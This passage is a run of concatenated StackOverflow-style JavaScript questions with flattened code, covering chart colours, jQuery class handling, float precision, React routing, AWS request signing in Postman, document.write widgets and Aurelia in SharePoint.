barArray ) ; var options = { chart : { title : 'Incidenten per week ' , subtitle : `` , 'width':450 , 'height':300 , } , bars : 'vertical ' , // Required for Material Bar Charts . 'backgroundColor ' : { fill : 'transparent ' } , isStacked : true , colors : [ ' # 000 ' , ' # 1111 ' , ' # 55555 ' ] } ; var chart = new google.charts.Bar ( document.getElementById ( 'barchart_material ' ) ) ; chart.draw ( data , google.charts.Bar.convertOptions ( options ) ) ; }",Google Stacked Bar Chart color JS : See fiddle : http : //jsfiddle.net/3mpire/yTzGA/1/Using jQuery how can I remove the `` active '' class from all LIs except for the one furthest ( deepest ) from the root ? This is the desired result : < div class= '' navpole '' > < ul > < li class= '' active '' > < a href= '' # '' > Lorem ipsum < /a > < /li > < li > < a href= '' # '' > Lorem ipsum < /a > < ul > < li class= '' active '' > < a href= '' # '' > Lorem ipsum < /a > < /li > < li > < a href= '' # '' > Lorem ipsum < /a > < /li > < li > < a href= '' # '' > Lorem ipsum < /a > < ul > < li class= '' active '' > < a href= '' # '' > Lorem ipsum < /a > < /li > < li > < a href= '' # '' > Lorem ipsum < /a > < /li > < /ul > < /li > < li > < a href= '' # '' > Lorem ipsum < /a > < /li > < /ul > < /li > < li > < a href= '' # '' > Lorem ipsum < /a > < /li > < li > < a href= '' # '' > Lorem ipsum < /a > < /li > < /ul > < /div > < div class= '' navpole '' > < ul > < li > < a href= '' # '' > Lorem ipsum < /a > < /li > < li > < a href= '' # '' > Lorem ipsum < /a > < ul > < li > < a href= '' # '' > Lorem ipsum < /a > < /li > < li > < a href= '' # '' > Lorem ipsum < /a > < /li > < li > < a href= '' # '' > Lorem ipsum < /a > < ul > < li class= '' active '' > < a href= '' # '' > Lorem ipsum < /a > < /li > < li > < a href= '' # '' > Lorem ipsum < /a > < /li > < /ul > < /li > < li > < a href= '' # '' > Lorem ipsum < /a > < /li > < /ul > < /li > < li > < a href= '' # '' > Lorem ipsum < /a > < /li > < li > < a href= '' # '' > Lorem ipsum < /a > < /li > < /ul > < /div >,jQuery remove class from UL hierarchy except for "JS : This question was n't asked on stackoverlow yet ! I 'm not asking why 0.1+0.2 does n't equal 0.3 , I 'm asking very different thing ! Please read the question before marking it as a duplicate.I 've written this function that shows how JavaScript stores float numbers in 64 bits : Now I want to check if the result of 0.1+0.2 is actually stored as it 's shown in the console 0.30000000000000004 . So I do the following : The resulting number is : Now , let 's convert it to the binary : Calculated exponent : Get it all together , Now , if we convert the resulting number into decimal using this converter , we get : Why does n't console show the whole number , instead of just it 's more significand digits ? function to64bitFloat ( number ) { var f = new Float64Array ( 1 ) ; f [ 0 ] = number ; var view = new Uint8Array ( f.buffer ) ; var i , result = `` '' ; for ( i = view.length - 1 ; i > = 0 ; i -- ) { var bits = view [ i ] .toString ( 2 ) ; if ( bits.length < 8 ) { bits = new Array ( 8 - bits.length ) .fill ( ' 0 ' ) .join ( `` '' ) + bits ; } result += bits ; } return result ; } var r = 0.1+0.2 ; to64bitFloat ( r ) ; 0 01111111101 0011001100110011001100110011001100110011001100110100 01111111101 = 10211021 - 1023 = -2 1.0011001100110011001100110011001100110011001100110100 x 2 ** -2 =0.010011001100110011001100110011001100110011001100110100 0.3000000000000000444089209850062616169452667236328125",Why console.log shows only part of the number resulting from 0.1+0.2=0.30000000000000004 "JS : Suppose I have a form : the /something/somewhere action does not return a complete html page , but just a fragment.I would like to let the submit button do its posting job , but catch the result of this post and inject it somewhere in the DOM.The jQuery submit happens before the form is actually submitted . An exemple of how it could work is : Any way to do this ? < form id= '' myForm '' method= '' POST '' action= '' /something/somewhere '' > < input type= '' text '' name= '' textField '' / > < input type= '' submit '' name= '' foo '' value= '' bar '' / > < /form > $ ( ' # myForm ' ) .posted ( function ( result ) { $ ( ' # someDiv ' ) .html ( result ) ; } ) ;",Convert a traditional post in ajax "JS : Background : I 'm working on a library for creating `` low resolution '' display.Now I wanted to test it with a simple demo - it should draw a radial gradient around cursor.I think I got the math right and it is working , except when you move your mouse into the bottom left corner.I tried printing the numbers , changing order and all , but ca n't find the cause.Here is also a Fiddle : https : //jsfiddle.net/to5qfk7o/It could be something trivial , I really do n't know . Thanks ! var size = 16 ; // number of pixelsvar lo = new Lores ( ' # board ' , size , size ) ; // DRAWING FUNCTIONsetInterval ( function ( ) { // Mouse coords var m_x = lo.mouse.x ; var m_y = lo.mouse.y ; // print where is mouse - for debug console.log ( m_x + `` , '' + m_y ) ; // for all pixels on screen for ( var x = 0 ; x < size ; x++ ) { for ( var y = 0 ; y < size ; y++ ) { // mouse distance from this pixel var distance = ( Math.sqrt ( ( m_x - x ) * ( m_x - x ) + ( m_y - y ) * ( m_y - y ) ) ) ; // convert : 0..255 , `` size '' ..0 var color = 255 - Math.floor ( ( 255 / size ) * distance ) ; // set color if ( color < 0 ) { lo.set ( y , x , 'black ' ) ; } else { lo.set ( x , y , 'rgb ( ' + color + ' , 0 , 0 ) ' ) ; } } } } , 100 ) ; // -- -- LIBRARY CODE -- -- -function Lores ( selector , width , height ) { this.boardElem = document.querySelector ( selector ) ; this.boardElem.className += ' lores-screen ' ; this.grid = [ ] ; this.mouse = { inside : false , x : 0 , y : 0 // position rounded to nearest board `` pixel '' } ; this.width = width ; this.height = height ; if ( this.boardElem === null ) { console.error ( 'No such element ! ' ) ; return ; } if ( width < = 0 || height < = 0 ) { console.error ( 'Dimensions must be positive ! ' ) ; return ; } // Inject a style block for the sizes var css = selector + ' > div { height : ' + ( 100 / height ) + ' % } ' ; css += selector + ' > div > div { width : ' + ( 100 / width ) + ' % } ' ; var style = document.createElement ( 'style ' ) ; style.type = 'text/css ' ; if ( style.styleSheet ) { style.styleSheet.cssText = css ; } else { style.appendChild ( document.createTextNode ( css ) ) ; } document.head.appendChild ( style ) ; var frag = document.createDocumentFragment ( ) ; // Create the grid for ( var i = height ; i > 0 ; i -- ) { var rowElem = document.createElement ( 'div ' ) ; rowElem.dataset.y = i ; var row = [ ] ; for ( var j = width ; j > 0 ; j -- ) { var cellElem = document.createElement ( 'div ' ) ; cellElem.dataset.x = j ; rowElem.appendChild ( cellElem ) ; row.push ( cellElem ) ; } frag.appendChild ( rowElem ) ; this.grid.push ( row ) ; } this.boardElem.appendChild ( frag ) ; console.log ( 'yo ' ) ; var self = this ; // add mouse listener document.addEventListener ( 'mousemove ' , function ( e ) { var rect = self.boardElem.getBoundingClientRect ( ) ; var x = ( self.width * ( e.clientX - rect.left ) ) / rect.width ; var y = ( self.height * ( e.clientY - rect.top ) ) / rect.height ; self.mouse.x = Math.floor ( x ) ; self.mouse.y = Math.floor ( y ) ; self.mouse.inside = ( x > = 0 & & x < self.width & & y > = 0 & & y < self.height ) ; } , false ) ; } Lores.prototype.set = function ( x , y , color ) { if ( x < 0 || x > = this.width || y < 0 || y > = this.height ) return ; this.grid [ y ] [ x ] .style.backgroundColor = color ; } ; # board { margin : 0 auto ; width : 128px ; height : 128px ; outline : 1px solid black ; } # board > div : nth-child ( odd ) > div : nth-child ( odd ) { background : # eee } # board > div : nth-child ( even ) > div : nth-child ( even ) { background : # eee } .lores-screen { display : block ; -webkit-touch-callout : none ; -webkit-user-select : none ; -khtml-user-select : none ; -moz-user-select : none ; -ms-user-select : none ; user-select : none ; } .lores-screen , .lores-screen * { white-space : nowrap ; padding : 0 ; } .lores-screen * { margin : 0 } .lores-screen > div { display : block ; } .lores-screen > div > div { display : inline-block ; vertical-align : top ; height : 100 % ; } < div id= '' board '' > < /div >",Strange issue with arithmetics ( ? ) "JS : Note : I need to achieve this with pure javascript , I know there is a .one ( ) method in jquery to do this , but I need the same output in pure javascript.Scenario : I am trying to call a function when a user scrolls and reaches to the 3/4 part or more of the page , but the problem rises when user reaches that part , We all know they ca n't be pixel perfect so , after the condition is met , the function gets executed per pixel scroll.I want that to execute only once the condition is met , then add a section at the bottom of the page , and then again user should reach the bottom and the function should get executed only once and so on ... Snippet : var colors = [ 'skyblue ' , 'powderblue ' , 'lightgreen ' , 'indigo ' , 'coral ' ] ; var addPage = function ( ) { var page = document.createElement ( 'div ' ) ; page.classList.add ( 'page ' ) ; page.style.backgroundColor = colors [ Math.floor ( Math.random ( ) * colors.length ) ] ; document.body.append ( page ) ; console.log ( 'added a new page ' ) ; } var scrollAndAdd = function ( ) { if ( window.scrollY < ( window.innerHeight * ( 3 / 4 ) ) ) { // execute addPage only once for each attempt ; it 's creating infinite pages addPage ( ) ; } } window.addEventListener ( 'scroll ' , scrollAndAdd ) ; * { margin : 0 ; padding : 0 ; } .page { height : 100vh ; } < div class='page ' style='background-color : lightgreen ' > < /div > < div class='page ' style='background-color : skyblue ' > < /div >",How to call a function only for the first time - JavaScript "JS : I am using Materialize 0.97.7 with Leaflet 1.0.1 ( latest ) When I try to create an overlay with multiple checkboxes to toggle items , no checkbox appears , only labels , which work as a toggle but I want either checkboxes or switches . If I switch CSS cdn to another framework eg Bootstrap , they appear.Leaflet code for debudding in case someone is interested : http : //leafletjs.com/reference-1.0.0.html # layergroupThis is obviously not a Leaflet issue as it works fine with other CSSCan anyone offer a fix ? Thanks < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/leaflet/1.0.1/leaflet-src.js '' > < /script > < link rel= '' stylesheet '' href= '' https : //cdnjs.cloudflare.com/ajax/libs/leaflet/1.0.1/leaflet.css '' > // items to togglevar myItems = new L.LayerGroup ( ) ; // bind popup to each item once checkbox is selectedL.marker ( [ lat , lon ] ) .bindPopup ( 'Item ' ) .addTo ( myItems ) ; // create overlays multi-checkbox selectionvar overlays = { Items = myItems } ; // add overlays to the web-mapL.control.layers ( null , overlays ) .addTo ( map ) ;",Materialize CSS not showing multiple checkboxes with Leaflet web-mapping overlays "JS : Say I have the following javascript event handler : Will the browser first display a green background and then switch it to red ? Or display the red background directly ? According to my testing it displays red directly at the end of the event handler . But is that part of the specification , or just incidental to how browsers happen to be implemented ? UPDATE : I should clarify that I am not `` aiming '' for this effect . Rather , I want to have some guarantee that it does not happen . Some of my event handlers change many things , and it makes my life easier if I can assume that none of the intermediate states are rendered . function handleEvent ( e ) { document.body.style.backgroundColor = 'green ' ; longRunningFunction ( ) ; document.body.style.backgroundColor = 'red ' ; }","If I make DOM changes in a Javascript event handler , are the changes rendered incrementally , or just once at the end ?" "JS : I have a React component that I am trying to implement so that it can pass the particular value of the list item that a user clicks to a handle method . This works properly for all of the integer valued list items , but when I click the list item with the value of B , I receive 0 as my value , rather than B . Am I unaware of a restriction that only allows integers to be passed through onClick methods ? Or perhaps I configured the onClick method incorrectly . Other examples of this situation : value= '' 3f '' returns 3 value= '' H5 '' returns 0 value= '' 35 '' returns 35It seems apparent this is an issue with the String , but I do n't know why . I 'm using React version `` ^0.14.7 '' var React = require ( 'react ' ) ; var { connect } = require ( 'react-redux ' ) ; export var Keyboard = React.createClass ( { handleKeyClick : function ( keyClicked ) { console.log ( keyClicked.target.value ) ; } , render : function ( ) { return ( < ul onClick= { ( e ) = > this.handleKeyClick ( e ) } > < li value= '' 1 '' > 1 < /li > < li value= '' 2 '' > 2 < /li > < li value= '' 3 '' > 3 < /li > < li value= '' 4 '' > 4 < /li > < li value= '' 5 '' > 5 < /li > < li value= '' 6 '' > 6 < /li > < li value= '' 7 '' > 7 < /li > < li value= '' 8 '' > 8 < /li > < li value= '' 9 '' > 9 < /li > < li value= '' 0 '' > 0 < /li > < li value= '' B '' > B < /li > < /ul > ) ; } } ) ; export default connect ( ) ( Keyboard ) ;",List element value returns wrong values when accessing attribute "JS : I am new with React and I have setup my React project with Facebook 's create-react-app . Here are the core files : Index.jsRoutes.jsApp.jsThe problem I am facing here is , When I am loading page with specific route , then , that component is rendering on browser.But if I am navigating to different route using `` Link '' , sayIn that case , /contact component is not loading but the route is changing and reflecting in browser.I looked for solutions , but mostly using depreciated code , Even in react-router-redux , example contains ConnectedRouter which is not in updated package.I do n't know if I have done some silly mistake in code or something is missing.Thanks in advance . : ) import React from 'react ' ; import ReactDOM , { render } from 'react-dom ' ; import { BrowserRouter as Router } from 'react-router-dom ' ; import createHistory from 'history/createBrowserHistory ' ; import { createStore , applyMiddleware } from `` redux '' ; import { Provider } from 'react-redux'import { routerMiddleware , syncHistoryWithStore } from 'react-router-redux ' ; import thunk from 'redux-thunk ' ; import reducers from './reducers ' ; import App from './containers/App ' ; import Routes from `` ./Routes '' ; const browserHistory = createHistory ( ) ; middleware = routerMiddleware ( browserHistory ) ; const store = createStore ( reducers , applyMiddleware ( middleware , thunk ) ) const history = syncHistoryWithStore ( browserHistory , store ) ; ReactDOM.render ( < Provider store= { store } > < Router history= { browserHistory } > < App / > < /Router > < /Provider > , document.getElementById ( 'root ' ) ) ; import React , { Component } from 'react ' ; import { Route , Switch } from 'react-router ' ; import Home from './containers/Home ' ; import About from './containers/About ' ; import Contact from './containers/Contact ' ; class Routes extends Component { render ( ) { return ( < Switch > < Route exact path= '' / '' component= { Home } / > < Route path= '' /about '' component= { About } / > < Route path= '' /contact '' component= { Contact } / > < /Switch > ) ; } } export default Routes ; import React , { Component } from `` react '' ; import { Link } from 'react-router-dom ' ; import Routes from `` ../Routes '' ; import SideNav from '../presentation/SideNav ' ; class App extends Component { render ( ) { return ( < div > < Link to='/ ' > Home < /Link > < Link to='/about ' > about < /Link > < Link to='/contact ' > contact < /Link > < SideNav / > < Routes / > < /div > ) ; } } export default App ; < Link to='/contact ' > contact < /Link >",Routes are not navigating when React v15.5 setup with react-redux v5 is "JS : I 'm trying to post data to Elasticsearch managed by AWS using AWS4 signing method . I would like to achieve this via postman pre-script . I tried using below script which worked perfectly for GET operation of Elastic search but its not working for POST or PUT or DELETE operation & keep giving me error message that the signature does not match for POST operation . Can someone help me in fixing below pre-script in postman ? var date = new Date ( ) .toISOString ( ) ; var amzdate = date.replace ( / [ : \- ] |\.\d { 3 } /g , `` '' ) ; var dateStamp = amzdate.slice ( 0 , -8 ) ; pm.environment.set ( 'authorization ' , getAuthHeader ( request.method , request.url , request.data ) ) ; pm.environment.set ( 'xAmzDate ' , amzdate ) ; function getPath ( url ) { var pathRegex = /.+ ? \ : \/\/.+ ? ( \/.+ ? ) ( ? : # |\ ? | $ ) / ; var result = url.match ( pathRegex ) ; return result & & result.length > 1 ? result [ 1 ] : `` ; } function getQueryString ( url ) { var arrSplit = url.split ( ' ? ' ) ; return arrSplit.length > 1 ? url.substring ( url.indexOf ( ' ? ' ) + 1 ) : `` ; } function getSignatureKey ( secretKey , dateStamp , regionName , serviceName ) { var kDate = sign ( `` AWS4 '' + secretKey , dateStamp ) ; var kRegion = sign ( kDate , regionName ) ; var kService = sign ( kRegion , serviceName ) ; var kSigning = sign ( kService , `` aws4_request '' ) ; return kSigning ; } function sign ( key , message ) { return CryptoJS.HmacSHA256 ( message , key ) ; } function getAuthHeader ( httpMethod , requestUrl , requestBody ) { var ACCESS_KEY = pm.globals.get ( `` access_key '' ) ; var SECRET_KEY = pm.globals.get ( `` secret_key '' ) ; var REGION = 'us-east-1 ' ; var SERVICE = 'es ' ; var ALGORITHM = 'AWS4-HMAC-SHA256 ' ; var canonicalUri = getPath ( requestUrl ) ; var canonicalQueryString = getQueryString ( requestUrl ) ; if ( httpMethod == 'GET ' || ! requestBody ) { requestBody = `` ; } else { requestBody = JSON.stringify ( requestBody ) ; } var hashedPayload = CryptoJS.enc.Hex.stringify ( CryptoJS.SHA256 ( requestBody ) ) ; var canonicalHeaders = 'host : ' + pm.environment.get ( `` ESHost '' ) + '\n ' + ' x-amz-date : ' + amzdate + '\n ' ; var signedHeaders = 'host ; x-amz-date ' ; var canonicalRequestData = [ httpMethod , canonicalUri , canonicalQueryString , canonicalHeaders , signedHeaders , hashedPayload ] .join ( `` \n '' ) ; var hashedRequestData = CryptoJS.enc.Hex.stringify ( CryptoJS.SHA256 ( canonicalRequestData ) ) ; var credentialScope = dateStamp + '/ ' + REGION + '/ ' + SERVICE + '/ ' + 'aws4_request ' ; var stringToSign = ALGORITHM + '\n ' + amzdate + '\n ' + credentialScope + '\n ' + hashedRequestData ; var signingKey = getSignatureKey ( SECRET_KEY , dateStamp , REGION , SERVICE ) ; var signature = CryptoJS.HmacSHA256 ( stringToSign , signingKey ) .toString ( CryptoJS.enc.Hex ) ; var authHeader = ALGORITHM + ' ' + 'Credential= ' + ACCESS_KEY + '/ ' + credentialScope + ' , ' + 'SignedHeaders= ' + signedHeaders + ' , ' + 'Signature= ' + signature ; return authHeader ; }",Using AWS4 Signature via Postman for CRUD Elastic operations "JS : I 'm not a full-time Javascript developer . We have a web app and one piece is to write out a small informational widget onto another domain . This literally is just a html table with some values written out into it . I have had to do this a couple of times over the past 8 years and I always end up doing it via a script that just document.write 's out the table.For example : on theirdomain.comI always think this is a bit ugly but it works fine and we always have control over the content ( or a trusted representative has control such as like your current inventory or something ) . So another project like this came up and I coded it up in like 5 minutes using document.write . Somebody else thinks this is just too ugly but I do n't see what the problem is . Re the widget aspect , I have also done iframe and jsonp implementations but iframe tends not to play well with other site 's css and jsonp tends to just be too much . Is there a some security element I 'm missing ? Or is what I 'm doing ok ? What would be the strongest argument against using this technique ? Is there a best practice I do n't get ? document.write ( ' < table border= '' 1 '' > < tr > < td > here is some content < /td > < /tr > < /table > ' ) ; < body > ... . < script src='http : //ourdomain.com/arc/v1/api/inventory/1 ' type='text/javascript ' > < /script > ... .. < /body >",using document.write in remotely loaded javascript to write out content - why a bad idea ? "JS : I ca n't to get a good idea of how you support permalinks . This is perhaps simply because emberjs does n't support permalinks.I 'm building a UI that allows users to choose certain reports , so in ember this is easy enough you just add a route 'reports ' that takes in an id so the URL looks like this : What I need to have is some extra parameters to also be present in that URL for example start and end dates and metric types e.g . So those parameters need to be picked up if I paste them in the browser , AND importantly when the user changes those settings e.g . via a date picker the URL should update to reflect the new parameters.Edit : Here is a link to a jsbin with a solution based on the answer below . http : //jsbin.com/ucanam/703 # /reports/10/ # /reports/10/metric/impressions/start/10-08-2013/end/11-08-2013","How do you maintain the page state , so that you can provide permalinks using emberjs ?" "JS : Given the following program , console logs correctly - note the chained init function and return this : My question : how and why is return this required for it to work ? See error below with it removed : MDN states Object.create returns the new object , so chaining init ( ) should work ... Thinking it through ... is it because the new object that 's chained is still 'anonymous ' ? Note that if init ( ) gets its own line , all works as I would expect , without needing return this : const cat = { init ( sound ) { this.sound = sound ; return this ; } , makeSound ( ) { console.log ( this.sound ) ; } } ; const fluffy = Object.create ( cat ) .init ( 'meeeaaaauuu ' ) ; fluffy.makeSound ( ) ; const cat = { init ( sound ) { this.sound = sound ; // return this } , makeSound ( ) { console.log ( this.sound ) ; } } ; const fluffy = Object.create ( cat ) .init ( 'meeeaaaahuuu ' ) ; fluffy.makeSound ( ) ; const fluffy = Object.create ( cat ) ; fluffy.init ( 'meeeaaaahuuu ' ) ; fluffy.makeSound ( ) ;","Object.create , chaining and 'this '" "JS : Unsorted array [ input ] : The format of an elements in array will always be like : < / > X daysRequirement : Above mentioned array should be sorted as per the greater then ( > ) and lesser then symbol ( < ) and also keep the number of days in mind ( less number of days should come first ) .Expected Array [ output ] : Tried so far : I tried Array.sort ( ) function but did not get expected output . [ `` > 30 days '' , `` < 7 days '' , `` < 30 days '' , `` < 10 days '' ] ; [ `` < 7 days '' , `` < 10 days '' , `` < 30 days '' , `` > 30 days '' ] ; var arr = [ `` > 30 days '' , `` < 7 days '' , `` < 30 days '' , `` < 10 days '' ] ; var sortedArr = arr.sort ( ) ; console.log ( sortedArr ) ; // [ `` < 30 days '' , `` < 10 days '' , `` < 7 days '' , `` > 30 days '' ]",JavaScript : Sorting an array "JS : So I am a TA for a class at my University , and I have a bit of a disagreement about how to present datatypes for absolute beginner programmers ( In which most never programmed before ) . My teacher tells students they must strictly use constructors to create primitive datatypes such as Numbers and Strings , her reasoning is to treat JavaScript as if its strongly typed so students will be used to the languages that are in the future . I understand why , but I think it has bad trade-offs.My instructor does not make a distinction between these and students are told to treat them as if they are primitive Numbers , Strings , etc . Although I believe at least for starters who do n't know better to use datatype.valueOf ( ) when necessary , and do n't know much at all what objects are yet . Literal notation would be ( and I consider it to be ) more proper and standard , the other way would cause confusion . Since there a consistency issues with constructor notation because they are objects ( and I do n't want students to worry about that ) . For example these do n't make sense to beginners : As you can see this would be confusing for someone just learning what an if statement is.I feel as if she is encouraging bad practice and discouraging good practice . So what do you think between literal and constructor notation for primitive values , which is considered more standard/proper and which is better for beginners to use ? var num = new Number ( 10 ) ; // This is encouraged.var num = 10 ; // This is discouraged ( students will lose points for doing this ) . var num1 = new Number ( 1 ) ; var num2 = new Number ( 1 ) ; if ( num1 === num2 ) ... ; // Does not run . if ( num1 == num2 ) ... ; // Does not run.if ( num1 == 1 ) ... ; // But this does . var num2 = new Number ( 2 ) ; if ( num1 < num2 ) ... ; // So does this.switch ( num1 ) { case 1 : ... // Does not run . break ; default : ... // This runs break ; }","Literal vs Constructor notation for primitives , which is more proper for starters ?" "JS : How i could get work a php file with sql queries and JQuery together ? . The final object is to get multiple tables as the http : //jsfiddle.net/96Lhog5g/3/ demo but using the php code below.Something like this but in php -Php code : JQuery code : ,from http : //jsfiddle.net/96Lhog5g/3/ . I have tried adapt this code to php but my knowledge about it are limited.Thanks in advance . < ? php $ dbconn = pg_connect ( $ sql1 = `` SELECT unaccent ( name ) from base1 ; '' ; $ sql2 = `` select id from servic ; '' ; $ name = pg_query ( $ sql1 ) ; $ ident= pg_query ( $ sql2 ) ; $ data1 = pg_fetch_all_columns ( $ name ) ; $ data2 = pg_fetch_all_columns ( $ ident ) ; $ count = count ( $ data1 ) ; echo ' < table id= '' mainTable '' border= '' 1 '' style= '' width:450px ; position : relative ; left:80px ; '' > ' ; echo ' < tr > ' ; echo ' < th style= '' background : # 3498db ; width:5px ; text-align : center ; font-size:12px ; font-family : Arial Narrow '' > ID < /th > ' ; echo ' < th style= '' background : # 3498db ; width:10px ; text-align : center ; font-size:12px ; font-family : Arial Narrow '' > NAME < /th > ' ; echo ' < /tr > ' ; for ( $ i = 0 ; $ i < $ count ; $ i++ ) { $ data1 [ $ i ] ; $ data2 [ $ i ] ; echo ' < tr > < td > ' . $ data2 [ $ i ] . ' < /td > ' ; echo ' < td > ' . $ data1 [ $ i ] . ' < /td > < /tr > ' ; } echo ' < /table > ' ; pg_free_result ( $ name ) ; pg_close ( $ dbconn ) ; ? > var $ main = $ ( ' # mainTable ' ) , $ head = $ main.find ( 'tr : first ' ) , $ extraRows = $ main.find ( 'tr : gt ( 2 ) ' ) ; for ( var i = 0 ; i < $ extraRows.length ; i = i+4 ) { $ ( ' < table > ' ) .append ( $ head.clone ( ) , $ extraRows.slice ( i , i+2 ) ) .appendTo ( $ main.parent ( ) ) ; }",JQuery table in php "JS : I 've been using some code to extract unsigned 16 bit values from a string.I discovered that adding this function to the prototype for String : is much slower than just having a function which takes a String as a parameter : In Firefox the difference is only a factor of two , but in Chrome 15 it 's one hundred times slower ! See results at http : //jsperf.com/string-to-uint16Can anyone proffer an explanation for this , and/or offer an alternative way of using the prototype without the performance hit ? String.prototype.UInt16 = function ( n ) { return this.charCodeAt ( n ) + 256 * this.charCodeAt ( n + 1 ) ; } ; var UInt16 = function ( s , n ) { return s.charCodeAt ( n ) + 256 * s.charCodeAt ( n + 1 ) ; } ;",Javascript - poor performance in V8 of functions added to String.prototype ? "JS : I 'm a little confused , not about what callbacks are used for but because I see callbacks used in scenarios often where it seems like passing a function as an argument to another function is n't necessary because you can just invoke the function you want invoked after the code in the current function is finished executing . For example : What 's confusing is , I 've seen a lot of examples where a callback is being used in a scenario just as simple as the first code I wrote where it seems to me a callback is n't needed at all : I used a callback there but I could 've just called the function myFunction after the code executed without passing myFunction as an argument . I understand a framework or library does n't know the name of the function you 'll want called after code is finished executing so passing the function you want called later as an argument seems to make sense then but when you know the name of the function you want invoked after whatever code is executed in a function , why not just invoke it just as I did in the first example I gave ? I would appreciate your help . Thanks function hello ( a , b ) { var result = a + b ; myFunction ( ) ; } myFunction ( ) { //code } hello ( 1,2 ) ; function hello ( a , b , callback ) { var result = a + b ; callback ( ) ; } myFunction ( ) { //code } hello ( 1 , 2 , myFunction ) ;",Why not just call a function from another function instead of using a callback ? "JS : Based on some code in a lecture by Doug Crockford , I 've created this.which gives me this : Which is quite cool , as it does the expensive setup once only , and every further call is a cheap check.However , I ca n't decipher the code that does this . Specifically , I ca n't understand why I need the `` ( ) '' at the end of the function declaration.Can somebody explain how this syntax is working ? var isAlphaUser = ( function ( ) { alert ( `` Forming Alpha User List '' ) ; let AlphaUsers = { 1234 : true , 5678 : true } ; return function ( id ) { alert ( `` Checking Alpha Users : '' , id ) ; return AlphaUsers [ id ] ; } ; } ( ) ) ; alert ( `` starting '' ) ; alert ( isAlphaUser ( 1234 ) ) ; alert ( isAlphaUser ( 5678 ) ) ; alert ( isAlphaUser ( 3456 ) ) ; Forming Alpha User ListstartingChecking Alpha Users : 1234trueChecking Alpha Users : 5678trueChecking Alpha Users : 3456undefined",How do I read Javascript Closure Syntax ? "JS : for a project , I am using Django on the back-end and AngularJs on the front end.Basically , what I want is to run the Angular app only when the url starts with projectkeeper/.In other words , lets say my website is example.com . I want the angular app to run for the URLs example.com/projectkeeper/dashboard/ , example.com/projectkeeper/projects/ and so on , but not on example.com/about/.Hope I have made myself clear . Anyway , in order to do this , I am doing the following with my code : urls.pyIn the template base.html , I refer to my angular app obviously . For the angular routing , I have done the following : So , ideally , what I thought was that going to example.com/projectkeeper/ # /dashboard/ would run the DashboardController from my angular app . However , this is not the case , I only get an empty page which means the routing was incorrect.Any solutions to this ? As I said before , I want is to run the Angular app only when the url starts with projectkeeper/ . urlpatterns = [ url ( r'^projectkeeper/ $ ' , TemplateView.as_view ( template_name='base.html ' ) ) , ] myapp.config ( [ ' $ routeProvider ' , function ( $ routeProvider ) { $ routeProvider .when ( '/dashboard/ ' , { title : 'Dashboard ' , controller : 'DashboardController ' , templateUrl : 'static/app_partials/projectkeeper/dashboard.html ' } ) .otherwise ( { redirectTo : '/ ' } ) ; } ] ) ;",Using Django URLs with AngularJs routeProvider "JS : I am using a sqlite DB as a storage system for a webapp . I been using the objects that are returned from queries directly in application . For example : This returns me an object with the given id , all columns are provided as properties . Nice . The problem I just figured out is that all the properties of the result set object are immutable . So for example if I want to change the property 'title ' it takes no effect , which in my opinion makes no sense . Example : I of course can convert all my DB objects into mutable objects , but I rather would not do that . Is that an expected behavior ? Can I request mutable objects ? I am using google chrome 9.0 on Mac OS X . function get_book_by_id ( id , successCallback , errorCallback ) { function _successCallback ( transaction , results ) { if ( results.rows.length==0 ) { successCallback ( null ) ; } else { book=results.rows.item ( 0 ) ; successCallback ( book ) ; } } db.transaction ( function ( transaction ) { transaction.executeSql ( `` SELECT id , title , content , last_read from books where id= ? ; '' , [ id ] , _successCallback , errorCallback ) ; } ) ; } get_book_by_id ( 1 , handle , error ) ; function handle ( book ) { //THIS DOES N'T WORK , book.title is still what it was . book.title=book.title+ '' more text '' ; }",immutable chrome sqlite return objects "JS : Setting focus on a form element using JavaScript is usually very straight forward.I can not get this working in Firefox 12.0 or Opera 11 . Works in other browsers ( Chrome , IE etc ) and Firefox 3.6.Simple HTML : ​Simple Javascript : Try this for yourself at http : //jsfiddle.net/4Ddtv/.​ < form action= '' '' > < input type= '' radio '' id= '' focusID1 '' name= '' sex '' value= '' male '' / > Male < br / > < input type= '' radio '' id= '' focusID2 '' name= '' sex '' value= '' female '' / > Female < br / > < /form > var elem = document.getElementById ( `` focusID2 '' ) ; if ( elem ! = null ) { elem.focus ( ) ; }",Unable to set focus in Firefox/Opera "JS : I am creating a Sharepoint framework webpart , and I am trying to use Aurelia as my JavaScript framework.Basically I created a Sharepoint framework webpart , which when created with Yeoman , creates this folder structure.Then my files ( just a simple hello world ) : app.htmlapp.jsmain.tsindex.htmlAnd the helloworld webpart : The code renders the HTML in the page , but without the message.I do n't see any error in the browser console.I installed Aurelia with NPM no jspm . Executing gulp serve does not show any compilation error.I also created a typings file `` aurelia.d.ts '' in the typings subfolder.I think that my main problem is in the index.html , as it has a reference to 2 JavaScript files , but I am not sure how to reference them because they are inside the NPM modules folder and I do n't think they are deployed when doing gulp serve.And by the way , here 's my config.json : Errors in the console : FetchProvider.ts:30 GET https : //softwares-macbook-pro.local:4321/sites/workbench/_api/Microsoft.SharePoint.Portal.SuiteNavData.GetSuiteNavData ? v=2 & Locale=undefined 404 ( Not Found ) FetchProvider.fetch @ FetchProvider.ts:30BasicHttpClient.fetchCore @ BasicHttpClient.ts:68HttpClient._fetchWithInstrumentation @ HttpClient.ts:183HttpClient.fetch @ HttpClient.ts:141HttpClient.get @ HttpClient.ts:154OnPremSuiteNavDataSource.loadData @ OnPremSuiteNavDataSource.ts:42SuiteNavManager._loadSuiteNavFromServer @ SuiteNavManager.ts:148SuiteNavManager._getSuiteNavModel @ SuiteNavManager.ts:129SuiteNavManager.loadSuiteNav @ SuiteNavManager.ts:106 ( anonymous function ) @ Shell.ts:164Shell._startApplication @ Shell.ts:145Shell.start @ Shell.ts:141 ( anonymous function ) @ SPModuleLoader.ts:178 TraceLogger.ts:147 [ OnPremSuiteNavDataSource ] Failed to retrieve Hybrid SuiteNavData TraceLogger.ts:147 [ SuiteNavManager ] SuiteNavManager loadData Failed to retrieve Hybrid SuiteNavData FetchProvider.ts:30 POST https : //softwares-macbook-pro.local:4321/sites/workbench/_api/contextinfo 405 ( Method Not Allowed ) FetchProvider.fetch @ FetchProvider.ts:30DigestCache.fetchDigest @ DigestCache.ts:73HttpClient.fetch @ HttpClient.ts:129HttpClient.post @ HttpClient.ts:167SPOSuiteNavDataSource.loadData @ SPOSuiteNavDataSource.ts:41SuiteNavManager._loadSuiteNavFromServer @ SuiteNavManager.ts:153SuiteNavManager._getSuiteNavModel @ SuiteNavManager.ts:129SuiteNavManager.loadSuiteNav @ SuiteNavManager.ts:106 